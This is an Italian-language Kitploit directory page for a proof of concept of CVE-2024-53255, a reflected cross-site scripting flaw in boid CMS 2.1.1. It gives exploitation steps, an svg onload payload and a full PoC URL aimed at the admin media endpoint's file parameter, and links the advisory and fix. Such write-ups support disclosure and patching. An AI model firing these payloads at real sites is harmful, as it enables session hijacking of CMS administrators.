Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-53255 — boid CMS 2.1.1 - Cross-Site Scripting (XSS) riflesso | Kitploit
Strumenti/GitHubGitHub/0x4m3r/cve-2024-53255
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHub0x4m3r/cve-2024-53255

CVE-2024-53255

boid CMS 2.1.1 - Cross-Site Scripting (XSS) riflesso

Vedi Repository
21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-53255

boid CMS 2.1.1 - Cross-Site Scripting (XSS) riflesso

Descrizione:

Esiste una vulnerabilità XSS riflessa nell'endpoint /admin?page=media nel parametro file, che consente a un attaccante di iniettare codice JavaScript arbitrario

Passaggi per lo sfruttamento:

1- Accedi al CMS e vai alla pagina di eliminazione (/admin?page=media).

2- Seleziona un file da eliminare e intercetta la richiesta utilizzando uno strumento proxy.

3- Modifica il parametro file nella richiesta intercettata con:

root@kitploit:~
<svg+onload%3dalert(document.domain)>

4 - Inoltra la richiesta modificata e lo script iniettato verrà eseguito.

Prova di concetto (PoC):

root@kitploit:~
http://localhost/boidcms/admin?page=media&action=delete&file=<svg+onload%3dalert(document.domain)>&token=693b471d9ee886766b69fd0dab9d992cd7f0e1e483822b28b6e8bcde0cf502e4

Per dettagli: https://nvd.nist.gov/vuln/detail/CVE-2024-53255 https://www.cve.org/CVERecord?id=CVE-2024-53255 https://github.com/BoidCMS/BoidCMS/commit/42f4d703a87f5199bbd701b3495a26c91b9cfab7 https://github.com/BoidCMS/BoidCMS/security/advisories/GHSA-7q7m-cgw8-px4r

Scarica lo strumento